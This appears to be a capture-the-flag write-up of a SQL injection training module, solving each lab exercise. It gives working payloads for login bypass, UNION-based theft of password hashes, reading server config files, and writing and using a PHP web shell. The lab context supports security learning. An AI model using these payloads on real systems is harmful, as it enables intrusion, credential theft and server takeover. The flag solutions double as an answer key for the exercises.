SQL Injection Fundamentals

Databases are a critical part of any web application, providing a structured way to store, retrieve, and manage information using SQL (Structured Query Language).

SQL Injection is a powerful attack technique that targets vulnerabilities in an application’s code. By injecting malicious SQL queries through input fields or application parameters, an attacker can:

• Bypass authentication
• Retrieve sensitive data from the back-end database
• Potentially execute code on the underlying server

This makes SQL injection one of the most common and dangerous web application vulnerabilities, highlighting the importance of secure coding practices and thorough input validation.

Intro to MySQL

Before diving into SQL injection, it’s important to understand MySQL and SQL fundamentals. Having a solid grasp of SQL basics will help you comprehend how injections work and how to use them safely in a testing environment. This section will cover some of the essential MySQL/MariaDB syntax and examples used in these databases.

What is SQL?

Structured Query Language (SQL) is the standard language for interacting with relational databases. While syntax can vary slightly between different RDBMS (Relational Database Management Systems), all are based on the ISO SQL standard. For this module, we’ll follow MySQL/MariaDB syntax.

Common SQL Actions

SQL can be used to perform a variety of tasks, including:

• Retrieve data – query and view information stored in the database
• Update data – modify existing records
• Delete data – remove records from tables
• Create new tables and databases – define the structure for new data storage
• Add or remove users – manage who has access to the database
• Assign permissions – control what actions users can perform

Understanding these core SQL operations is key to grasping how SQL injection can manipulate database behavior.

Connect to the database using the MySQL client from the command line. Use the ‘show databases;’ command to list databases in the DBMS. What is the name of the first database?

Connect to the mysql and search for the database.

$ mysql -u root -h 127.0.0.1 -P 32166 -p --ssl-mode=DISABLED
mysql: unknown variable 'ssl-mode=DISABLED'
(suricato@kali)-[~/Documentos/HTB]$ mysql -u root -h 127.0.0.1 -P 32166 -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 5
Server version: 10.7.3-MariaDB-1:10.7.3+maria~focal mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| [REDACTED] |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0,207 sec)
MariaDB [(none)]>

SQL Statements

Now that we’re familiar with using the MySQL utility and know how to create databases and tables, it’s time to explore some of the most important SQL statements and how they’re used. Understanding these statements is crucial, as they form the foundation for retrieving, modifying, and managing data within a database.

In the following sections, we’ll cover statements for:

• Retrieving data – querying and viewing information
• Inserting data – adding new records to tables
• Updating data – modifying existing records
• Deleting data – removing records
• Managing tables and databases – creating, altering, or dropping structures

Mastering these commands will make it much easier to understand how SQL injection works and how attackers might exploit vulnerable queries.

What is the department number for the ‘Development’ department?

MariaDB [(none)]> use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [employees]> show tables;
+----------------------+
| Tables_in_employees |
+----------------------+
| current_dept_emp |
| departments |
| dept_emp |
| dept_emp_latest_date |
| dept_manager |
| employees |
| salaries |
| titles |
+----------------------+
8 rows in set (0.207 sec)
MariaDB [employees]> select * from departments;
+---------+---------------------+
| dept_no | dept_name |
+---------+---------------------+
| d009 | Customer Service |
| d005 | [REDACTED] |
| d002 | Finance |
| d003 | Human Resources |
| d001 | Marketing |
| d004 | Production |
| d006 | Quality Management |
| d008 | Research |
| d007 | Sales |
+---------+---------------------+
9 rows in set (0.207 sec)
MariaDB [employees]>

Query Results

Controlling Query Results in MySQL

In this section, we’ll explore how to control the output of any SQL query. Being able to filter, sort, and limit query results is essential for making sense of your data, improving performance, and retrieving exactly what you need from a database.

We’ll cover techniques to:

• Sort results using ORDER BY
• Filter results using WHERE conditions
• Limit results using LIMIT
• Combine conditions with AND, OR, and NOT

Mastering these techniques is key for both legitimate database management and understanding how attackers might manipulate queries in SQL injection scenarios.

What is the last name of the employee whose first name starts with “Bar” AND who was hired on 1990-01-01?

MariaDB [employees]> select * from employees where first_name like 'Bart%' and hire_date='1990-01-01';
+--------+------------+------------+-----------+--------+------------+
| emp_no | birth_date | first_name | last_name | gender | hire_date |
+--------+------------+------------+-----------+--------+------------+
| 10227 | 1953-10-09 | Barton | [REDACTED] | M | 1990-01-01 |
+--------+------------+------------+-----------+--------+------------+
1 row in set (0.207 sec)
MariaDB [employees]>

SQL Operators

Using Logical Operators in SQL

Sometimes a single condition isn’t enough to get the results you need. SQL allows you to combine multiple conditions using logical operators, giving you more control over your queries. The most commonly used logical operators are:

• AND – Returns results only if all conditions are true.
• OR – Returns results if at least one condition is true.
• NOT – Reverses the truth value of a condition, returning results where the condition is false.

By combining these operators, you can build complex queries that precisely match your requirements, whether filtering data, performing analysis, or preparing for security testing scenarios like SQL injection.

In the ‘titles’ table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain ‘engineer’?

MariaDB [employees]> select count(1) from titles where emp_no > 10000 or title != 'engineer';
+----------+
| count(1) |
+----------+
| [REDACTED] |
+----------+
1 row in set (0.206 sec)
MariaDB [employees]>

Subverting Query Logic

Now that we have a basic understanding of SQL statements, it’s time to explore SQL injection. Before attempting to execute full queries, we’ll start with a simple technique: modifying an existing query using the OR operator combined with SQL comments.

This approach allows us to subvert the original logic of a query, and one of the most common demonstrations is bypassing web authentication. In this section, we’ll walk through how this method works and why it’s effective, giving you a safe environment to practice and understand the concept.

Try to log in as the user ‘tom’. What is the flag value shown after you successfully log in?

Use the payload bellow to login the site.

tom' #

Using Comments

In this section, we’ll dive deeper into SQL injection techniques by learning how to leverage SQL comments to manipulate more complex queries. By strategically using comments, we can subvert the original query’s logic and ultimately craft a query that allows us to bypass the login authentication process.

This approach builds on the basics we’ve covered earlier and introduces techniques that are commonly used in real-world penetration testing scenarios.

Login as the user with the id 5 to get the flag.

Use the payload bellow to find the flag.

' or id=5) #

Union Clause

Up until now, we’ve focused on modifying the original query to bypass authentication using techniques like the OR operator and SQL comments.

Now, we take SQL injection a step further by learning how to inject entire SQL queries that run alongside the original query. This technique is known as SQL Union Injection, and it leverages the UNION clause in MySQL to combine results from multiple queries.

In this section, we’ll explore how Union-based SQL injection works and see practical examples of retrieving data from the backend database using this method.

Connect to the above MySQL server with the ‘mysql’ tool, and find the number of records returned when doing a ‘Union’ of all records in the ‘employees’ table and all records in the ‘departments’ table.

$ mysql -u root -h 127.0.0.1 -P 30365 -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 5
Server version: 10.7.3-MariaDB-1:10.7.3+maria~focal mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| employees |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.212 sec)
MariaDB [(none)]> use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [employees]> select sum(1) from employees union select sum(1) from departments;
+---------+
| sum(1) |
+---------+
| [REDACTED] |
| 9 |
+---------+
2 rows in set (0.212 sec)
MariaDB [employees]>

Sum both values and you find the flag.

Union Injection

Now that we understand how the UNION clause works in SQL, let’s see how to apply it in an actual SQL injection scenario. Consider the following example:

Target URL:

http://SERVER_IP:PORT/search.php?port_code=cn

On this page, there’s a search interface with a text box and a Search button. Below the form is a table displaying:

We suspect that the port_code parameter might be vulnerable to SQL injection. To test this, we follow the SQLi discovery steps and inject a single quote (') into the parameter:

http://SERVER_IP:PORT/search.php?port_code=cn'

The page returns an SQL syntax error:

You have an error in your SQL syntax; check the manual for the right syntax near ...

This error indicates that the page may indeed be vulnerable to SQL injection.

Because the page displays query results directly in the table, it is an ideal candidate for Union-based SQL injection. Using the UNION clause, we can combine our injected queries with the original query and retrieve additional data from the backend database.

Use a Union injection to get the result of ‘user()’

Use the payload bellow to get the flag.

cn' UNION select 1,@@version,3,4-- -

Database Enumeration

In the previous sections, we explored the basics of SQL queries in MySQL and learned how to perform SQL injections to manipulate web application logic. Now, it’s time to put all of that knowledge into practice.

In this section, we’ll focus on extracting data from the database using SQL queries injected through vulnerable web parameters. By carefully crafting our injections, we can retrieve information such as:

• Table names
• Column names
• User data
• Other sensitive content stored in the database

This hands-on approach allows us to see how SQL injection can expose backend information and demonstrates why proper input validation and parameterized queries are critical for web application security.

What is the password hash for ‘newuser’ stored in the ‘users’ table in the ‘ilfreight’ database?

Use the payload bellow to get the flag.

cn' UNION select 1, username, password, 4 from ilfreight.users-- -

Reading Files

While SQL injection is often used to gather data from databases, its potential extends far beyond simple queries. In some cases, it can be leveraged to read and write files on the server or even achieve remote code execution on the backend.

Understanding Privileges

Reading data from the database is far more common than writing data, as modern DBMSes restrict write operations to privileged users. This limitation exists because writing or modifying files can lead to system compromise.

For instance, in MySQL, the database user must have the FILE privilege to load file contents into a table, dump data from that table, and access server files.

Before attempting any advanced operations, it’s crucial to enumerate the current user privileges within the database. Understanding these privileges helps determine whether we can safely and effectively read or write files on the backend server.

We see in the above PHP code that ‘$conn’ is not defined, so it must be imported using the PHP include command. Check the imported page to obtain the database password.

Use the payload bellow to get the flag.

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4-- -

Writing Files

Writing files to a backend server is much more restricted in modern database systems. This is because file-writing capabilities can be abused to deploy web shells, execute arbitrary code, and potentially take over the server. For this reason, most modern DBMSes disable file-write operations by default and require explicit privileges for database administrators.

Before attempting to write files, we need to verify two key points: whether we have sufficient rights and whether the DBMS even allows writing files.

Write File Privileges

To write files through a MySQL database, three conditions must be met:

1. The user must have the FILE privilege enabled.
2. The MySQL global secure_file_priv variable must allow file access.
3. The user must have write permissions for the target location on the backend server.

If the user has the FILE privilege, we then check the secure_file_priv global variable.

The secure_file_priv Variable

This variable controls where files can be read from or written to:

• Empty value (''): Allows reading/writing across the entire filesystem (common in MariaDB).
• Specific directory path: Limits read/write access to the specified folder.
• NULL: Disables all read/write file operations.

For example:

• MariaDB typically sets secure_file_priv to empty by default, allowing full read/write if the user has FILE privileges.
• MySQL defaults to /var/lib/mysql-files, restricting read/write operations to that directory.
• Modern MySQL configurations may set it to NULL, completely preventing file read/write operations.

Checking this variable is crucial before attempting any file write operations during SQL injection.

Find the flag by using a webshell.

Use the payload above to see if you can write files.

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -And the result shows that the secure_file_priv value is empty, meaning that we can read/write files to any location.

Use the payload above to write the shell.

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

And acess the file created to execute commands in the system and get the flag.

http://127.0.0.1:47109/shell.php?0=cat%20../flag.txt

Skills Assessment – SQL Injection Fundamentals

The company Inlanefreight has engaged you to perform a web application assessment on one of their public-facing websites. Due to a recent security breach at one of their main competitors, the organization is particularly concerned about SQL injection (SQLi) vulnerabilities and the potential impact a successful exploit could have on their reputation and revenue.

Assessment Scope

• Target: Public-facing website (IP address provided)
• Approach: Grey-box testing – you have limited knowledge about the internal workings of the web application.
• Objective: Identify SQL injection vulnerabilities and retrieve the final flag to demonstrate successful exploitation.

Starting Point

The assessment begins at the login page, which features username and password input fields.

Your goal is to:

1. Enumerate the website and its pages to identify potential SQL injection entry points.
2. Test input fields and parameters for SQL injection vulnerabilities using techniques such as:
   • Bypassing login authentication with ' OR '1'='1-- style payloads
   • Using SQL comments to subvert query logic
   • Union-based SQL injection to retrieve database information
3. Extract sensitive data if possible and locate the flag as proof of successful exploitation.

Tips

• Think outside the box – consider both GET and POST parameters, hidden fields, and URL query strings.
• Pay attention to error messages; they often reveal valuable information about the database structure.
• Combine manual testing with automated tools for enumeration and exploitation, but ensure you understand each step you take.

Once you find the SQL injection vulnerability and successfully retrieve the flag, submit it to complete the module.

Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

Use the payload bellow to test if the site is vulnerable a sql injection.

admin' or '1'='1'-- -

You login the site, now execute the comands in the find section.

' UNION SELECT 1,@@version,3,4,5-- -

' UNION SELECT 1, schema_name, 3, 4, 5 FROM INFORMATION_SCHEMA.SCHEMATA-- -

Let’s try to write a file.

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "","" into outfile '/var/www/html/dashboard/shell1.php'-- - 

Access the shell to get flag.